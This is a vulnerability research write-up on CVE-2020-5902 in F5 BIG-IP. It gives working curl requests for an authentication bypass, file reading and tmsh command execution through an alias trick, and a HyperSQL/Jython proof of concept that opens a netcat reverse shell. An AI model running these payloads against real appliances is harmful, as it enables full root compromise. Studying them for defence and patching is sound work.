BIG-IP includes various modules running under Traffic Management Operating System (TMOS). One of these modules, Local Traffic Manager (LTM), handles application traffic, protects the network infrastructure, and balances the local load. LTM can be flexibly configured using the Traffic Management User Interface (TMUI). This is where the above-mentioned vulnerability was discovered.
Mikhail Klyuchnikov, a Security Researcher at Positive Technologies, was the first to identify the bug. The vulnerability originates from incorrect URI normalization during the request processing. An attacker can bypass the Traffic Management User Interface authentication and gain access to system functions intended only for the admin. As a result, the attacker can execute arbitrary commands on the target system on behalf of the superuser (i.e. completely compromise the server).
info
The bug’s identification number is CVE-2020-5902; its CVSS severity score is 10 out of the 10. The vulnerability is present in the following BIG-IP versions: 15.0.0 t0 15.1.0.3, 14.1.0 to 14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1.
Test System
Since BIG-IP is a commercial product, no docker containers are available. The easiest way to deploy a test system is to download the 30-day trial version called BIG-IP VE (Virtual Edition). To do so, you have to create an account on the F5 website. After the registration confirmation, navigate to the Downloads section.
I will use the most recent vulnerable version: 15.1.0.3. BIG-IP can be downloaded in several variants; I need a VM image in the OVA format. Several download locations are available; so, you can select the one that suits you best.
You can also use my link to download the image. I can’t say how long will it live, but at the time of writing, it was working fine.
After downloading the image, I import it into the virtualization program. I use VMware, but VirtualBox would work fine, too.
The import is successful, and I load the virtual machine. Then I see the authentication request.
The default superuser password is default
(you will be immediately offered to change it). Now I can check the IP address of the virtual machine.
I open the browser, navigate to this IP, and see the TMUI authentication form.
The test system is ready.
Vulnerability details
I return to the console. Let’s find out what web server is listening on port 443.
netstat -lnpe | grep 443
This is an ordinary httpd
daemon; apparently, it’s used as the front-end that proxies requests somewhere else. So, I search the configuration files for the ProxyPass
directive.
grep -iR ProxyPass /etc/httpd
The file /
contains plenty of interesting stuff.
/etc/httpd/conf.d/proxy_ajp.conf
...
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5...
The file name and content indicate that the AJP protocol is used to transmit requests to a Tomcat web server (for more information on this protocol, see the article about an RCE vulnerability in Apache Tomcat).
But first of all, I have to check how is the URI transmitted to Tomcat. I suggest reviewing a detailed study by Orange Tsai examining path normalization in various applications; it was presented at Black Hat USA 2018 and DEF CON 26 (PDF). The study includes a section dedicated to Tomcat where the /..;
construct is used to exit a directory, bypass some rules, and access files containing important information. This becomes possible because the web server interprets /..;
as a folder name, while Tomcat interprets it as a relative path up the tree leading to the parent directory.
To check whether the bug is working in this particular case, I try reading a file that isn’t accessible under normal circumstances. The list of such files can be found, for instance, in the TMUI config: /
.
/usr/local/www/tmui/WEB-INF/web.xml
<servlet-mapping> <servlet-name>org.apache.jsp.dashboard.viewset_jsp</servlet-name> <url-pattern>/dashboard/viewset.jsp</url-pattern></servlet-mapping>
I try to read viewset.
using a simple request.
curl -k "https://192.168.31.140/tmui/dashboard/viewset.jsp" -is
Expectedly, I am redirected to the authentication page. Then I try to read the file using the /..;
construct.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/dashboard/viewset.jsp" -is
The viewset.
script is successfully executed, and the server returns the result.
Now I can read any pages and execute servlets that don’t validate the user session inside them.
What information can be found in TMUI? The most interesting stuff is stored in the directory /
. The compiled servlets are stored there as well. Accordingly, I will need JD-GUI to decompile them. The easiest way is to ZIP the /
directory and open it in JD-GUI.
As said above, the list of endpoints can be found in the file /
. Their number is pretty large; so, I will describe only the most interesting ones discovered after the public release of the vulnerability.
The first one is /
.
/usr/local/www/tmui/WEB-INF/web.xml
...
<servlet> <servlet-name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-name> <servlet-class>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-class></servlet>...
<servlet-mapping> <servlet-name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-name> <url-pattern>/tmui/locallb/workspace/fileRead.jsp</url-pattern></servlet-mapping>...
WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/fileRead_jsp.java
01: package WEB-INF.classes.org.apache.jsp.tmui.locallb.workspace;...26: public final class fileRead_jsp extends HttpJspBase implements JspSourceDependent {...61: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {...77: String fileName = WebUtils.getProperty(request, "fileName");78: try {79: JSONObject resultObject = WorkspaceUtils.readFile(fileName);80: out.print(resultObject.toString());
The servlet allows to read arbitrary files if fileName
is transmitted in the parameter. Of course, I try to read the canonical /
.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" -is
Success! The server returns the file content.
I suggest reading the following files:
-
/
– IP addresses of the BIG-IP infrastructure;etc/ hosts -
/
– BIG-IP configuration variables; andconfig/ bigip. conf -
/
– information on the current BIG-IP license.config/ bigip. license
This list can be continued – I have no doubt that you know at least several dozen interesting files that deserve to be read. To make our lives even easier, the following exciting servlet comes to help: /
.
/usr/local/www/tmui/WEB-INF/web.xml
...
<servlet> <servlet-name>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-name> <servlet-class>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-class></servlet>...
<servlet-mapping> <servlet-name>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-name> <url-pattern>/tmui/locallb/workspace/directoryList.jsp</url-pattern></servlet-mapping>...
It takes the directoryPath
parameter as input and returns the listing of the specified directory as the output.
WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/directoryList_jsp.java
26: public final class directoryList_jsp extends HttpJspBase implements JspSourceDependent {...61: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {...77: String directoryPath = WebUtils.getProperty(request, "directoryPath");78: try {79: JSONObject resultObject = WorkspaceUtils.listDirectory(directoryPath);80: out.print(resultObject);
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/tmui/WEB-INF/lib/" -s
Furthermore, the content of the directories is displayed recursively.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/error/" -s
However, if the script encounters files or folders inaccessible to the current user, the server returns the 500 Internal Server Error.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/etc/httpd" -s
As you probably noticed, all the above methods used to read files and directories are called from the following class:
com.f5.tmui.locallb.handler.workspace.WorkspaceUtils
The behavior of WorkspaceUtils.
and WorkspaceUtils.
is quite understandable; however, to get an idea of the next servlet, you have to examine this class in more detail. The WorkspaceUtils
class is stored in a .
file located at:
/usr/local/www/tmui/WEB-INF/lib/tmui.jar
I decompile it in JD-GUI.
Time to examine the most exciting servlet: /
.
/usr/local/www/tmui/WEB-INF/web.xml
<servlet> <servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name> <servlet-class>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-class></servlet>...
<servlet-mapping> <servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name> <url-pattern>/tmui/locallb/workspace/tmshCmd.jsp</url-pattern></servlet-mapping>
WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/tmshCmd_jsp.java
28: public final class tmshCmd_jsp extends HttpJspBase implements JspSourceDependent {...63: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {...81: String cmd = WebUtils.getProperty(request, "command");82: if (cmd == null || cmd.length() == 0) {83: logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed"));84: } else {85: JSONObject resultObject = WorkspaceUtils.runTmshCommand(cmd);86: tmshResult = resultObject.toString();
The servlet accepts the command
parameter as input and passes it to the method WorkspaceUtils.
. This class has already been decompiled; so, I check what runTmshCommand
is doing.
WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java
01: package com.f5.tmui.locallb.handler.workspace;...31: public class WorkspaceUtils {...46: public static JSONObject runTmshCommand(String command) {...51: String operation = command.split(" ")[0];...53: try {54: String[] args = { command };55: Syscall.Result result = Syscall.callElevated(Syscall.TMSH, args);56: output = result.getOutput();57: error = result.getError();
As you can see, the string transmitted in command
is parsed and then Syscall.
is called. This method, in turn, calls the Syscall.
command with elevated privileges.
WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java
13: import com.f5.mcp.schema.ltm.ShellCommandT;...78: public static final int TMSH = ShellCommandT.SC_TMSH.intValue();
The com.
class is stored in the file f5.
. I decompile and examine it.
usr/share/java/rest/libs/f5.rest.mcp.schema.jar/com/f5/mcp/schema/ltm/ShellCommandT.java
01: package com.f5.mcp.schema.ltm;...05: public class ShellCommandT extends SchemaEnum {...70: public static final ShellCommandT SC_TMSH = new ShellCommandT("SC_TMSH", 32L);...94: protected ShellCommandT(String tokenName, long tokenValue) {95: super("shell_command_t", tokenName, tokenValue);96: }
TMSH (Traffic Management SHell) is a bash-like utility for administering BIG-IP. It can be used to automate commands and processes, create your own commands or sets of commands, execute custom scripts in TCL, and implement various server behavior scenarios, including reboot and shutdown. Isn’t this great? Taking that all these operations are performed with superuser privileges, the servlet becomes an invaluable vulnerability exploitation tool.
WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java
162: public static Result callElevated(int command, String[] args) throws CallException {163: return call(command, args, true);164: }...186: private static Result call(int command, String[] args, boolean elevated) throws CallException {...203: Connection c = null;204: try {...206: c = ConnectionManager.instance().getConnection();...209: c.setUser(UsernameHolder.getUser().getUsername(), (!elevated && !UsernameHolder.isElevated()), false);210: ObjectManager om = new ObjectManager((SchemaStructured)LtmModule.ShellCall, c);211: DataObject query = om.newObject();212: query.put((SchemaAttribute)ShellCall.COMMAND, command);213: query.put((SchemaAttribute)ShellCall.ARGS, parameters);214: query.put((SchemaAttribute)ShellCall.USER, UsernameHolder.getUser().getUsername());215: DataObject[] rs = om.queryStats(query);216: if (rs != null && rs.length > 0)217: return new Result(rs[0].getInt((SchemaAttribute)ShellCall.RETURN_CODE), rs[0].getString((SchemaAttribute)ShellCall.RESULTS), rs[0].getString((SchemaAttribute)ShellCall.ERRORS));
I display the list of BIG-IP admins using the tmsh
command.
Then I perform the same operation using the vulnerability.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin" -s
But there is more! After reviewing the TMSH documentation, I discovered the bash
command in the util
module.
This command calls bash
in the required context, and all flags present in the ‘regular’ bash
are available here.
Any command in the util
module can be called either with run
or directly from the command line.
run /
util bash -c id bash
-c id
However, if you try to implement any of these variants using the vulnerability, the server will return the Rejected
error.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=bash+-c+id" -s
This is because the tmshCmd_jsp
servlet undergoes several checks prior to executing a command.
WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java
52: if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify"))) {
The ShellCommandValidator.
method checks the presence of prohibited characters in the string. The blacklist includes & ;
and a backtick.
WEB-INF/lib/tmui.jar/com/f5/form/ShellCommandValidator.java
24: public static boolean checkForBadShellCharacters(String value) {25: char[] cArray = value.toCharArray();26: for (int i = 0; i < cArray.length; i++) {27: char c = cArray[i];28: if (c == '&' || c == ';' || c == '`' || c == ''' || c == '\' || c == '"' || c == '|' || c == '*' || c == '?' || c == '~' || c == '<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r')29: return true;30: }31: return false;32: }
But this is not the main problem. What really reduces the scope is the second part of the condition: validation of the performed operation.
operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")
As you can see, only four TMSH commands can be executed: create
, delete
, list
, and modify
. This is where aliases come to help. Similar to bash
, you can create aliases for commands in TMSH to avoid typing them every time. The cli alias module is responsible for this. There are two alias types: shared
and private
. They differ by the visibility scope: shared
aliases are available throughout the system, while private
ones are restricted to the current user. Aliases can be viewed, deleted, and created using the list
, delete
, and create
commands, respectively.
So, I have to create an alias for the bash
command and specify any of the permitted operations as its name. I strongly recommend to make such aliases private
and delete them immediately after executing the required command to avoid interfering with the ‘normal’ operation of the system. My plan is as follows.
I use the command create
to create in the user’s visibility zone an alias that calls the bash
command and whose name is modify
.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+modify+command+bash" -s
Now modify
can execute the required command. In my case, it is id
.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=modify+-c+id" -s
Then I delete this private alias with the command delete
to avoid any problems in the future.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+modify" -s
This sequence of operations can be easily automated. Ready-to-go solutions are available on GitHub, including a special Metasploit module.
By the way, this RCE technique was discovered later. In his initial report, Mikhail Klyuchnikov suggested a more interesting command execution method involving the HyperSQL Database. Let’s examine it in more detail.
RCE via HyperSQL
BIG-IP uses the HyperSQL Database. The httpd
daemon uses the /
URI to proxy requests sent to the servlet interacting with this database.
/etc/httpd/conf.d/proxy_ajp.conf
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
Of course, this address can be accessed only after the authentication, but you already know how to bypass it.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/hsqldb/" -s
HyperSQL makes it possible to interact with the database over HTTP(S). The connection procedure is described in the documentation. By default, the user is SA and the password is blank.
I am going to create a PoC that will make simple requests to the database. First of all, I need the right HSQLDB library (ZIP). Then I add the following string to the hosts
file:
192.168.31.140 localhost.localdomain
Of course, you must insert the IP address of your VM into this string. This is required to avoid hassle with SSL certificates in Java. The address that makes it possible to bypass the authentication must be specified as the URL for connection to the database.
/hsqldb-poc-rce/src/com/f5rce/Main.java
01: package com.f5rce;02:03: import java.sql.*;04: import java.lang.*;05: import java.util.Properties;06:07: public class Main {08:09: public static void main(String[] args) throws Exception {10: Class.forName("org.hsqldb.jdbcDriver");11: String connectionURL = "jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3b/hsqldb/";
Then I specify the username and password.
/hsqldb-poc-rce/src/com/f5rce/Main.java
12: Properties props = new Properties();13: props.setProperty("user","SA");14: props.setProperty("password","");
Connecting to the database.
/hsqldb-poc-rce/src/com/f5rce/Main.java
15: try {16: Connection c = DriverManager.getConnection(connectionURL, props);17: Statement stmt = null;18: ResultSet result = null;
Time to make a simple request.
SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS
/hsqldb-poc-rce/src/com/f5rce/Main.java
19: stmt = c.createStatement();20: result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");
The returned result is displayed in the console.
/hsqldb-poc-rce/src/com/f5rce/Main.java
21: while (result.next()) {22: System.out.println("Got result: " + result.getString(1));23: }24: result.close();25: stmt.close();26: } catch (SQLException e) {27: e.printStackTrace();28: }
The database documentation includes inter alia the description of the CALL function that allows to call external Java functions.
First of all, I check classpath
(i.e. paths used to load libraries):
CALL "java.lang.System.getProperty"('java.class.path')
/hsqldb-poc-rce/src/com/f5rce/Main.java
20: result = stmt.executeQuery("CALL "java.lang.System.getProperty"('java.class.path')");
Tomcat uses similar paths, which is good because the list of potentially dangerous methods is pretty long. The attacker’s goal is to find a method with the static
modifier (i.e. the one that can be called without creating a class object). Mikhail Klyuchnikov discovered a suitable method:
com.f5.view.web.pagedefinition.shuffler.Scripting#setRequestContext
It’s located in the file /
that I have already decompiled.
WEB-INF/lib/tmui.jar/com/f5/view/web/pagedefinition/shuffler/Scripting.java
01: package com.f5.view.web.pagedefinition.shuffler;...12: public class Scripting {13: static {14: Properties props = new Properties();15: System.setProperty("java.ext.dirs", "/usr/local/www/tmui/WEB-INF/lib/");16: System.setProperty("java.class.path", System.getProperty("java.class.path") + ":/usr/local/www/tmui/WEB-INF/classes");...45: public static void setRequestContext(String object, String screen) {46: PyObject current = getInterpreter().eval(object + "__" + screen + "()");47: currentObject.set(current);48: }
The method executes Jython code and returns an object instance of org.python.core.PyObject. Jython is a Java implementation of the Python language; so, I have to use correct syntax for it. The code will be executed using Runtime.
. For convenience purposes, netcat with the support of the -e
flag is installed in BIG-IP by default. Using this utility, I create a backconnect.
/hsqldb-poc-rce/src/com/f5rce/Main.java
20: result = stmt.executeQuery("CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" +21: ""('Runtime.getRuntime().exec("nc 192.168.31.12 1337 -e /bin/bash")#','#')");
Vulnerability demonstration (video)
Conclusions
The examined vulnerability proves once again that even such a minor problem as incorrect path normalization can lead to severe consequences. If you have a good understanding of the application infrastructure and know capabilities of its tools, you can gain full control over a BIG-IP VM. Needless to say that a compromised system may cause plenty of problems, especially if all network traffic goes through this system.
After the discovery of the vulnerability, the F5 developers offered a number of temporary solutions pending the release of a fully functional patch. Unfortunately, some of these solutions are ineffective and don’t provide adequate protection against malefactors. Therefore, I strongly recommend upgrading the application to a version where this problem is fixed.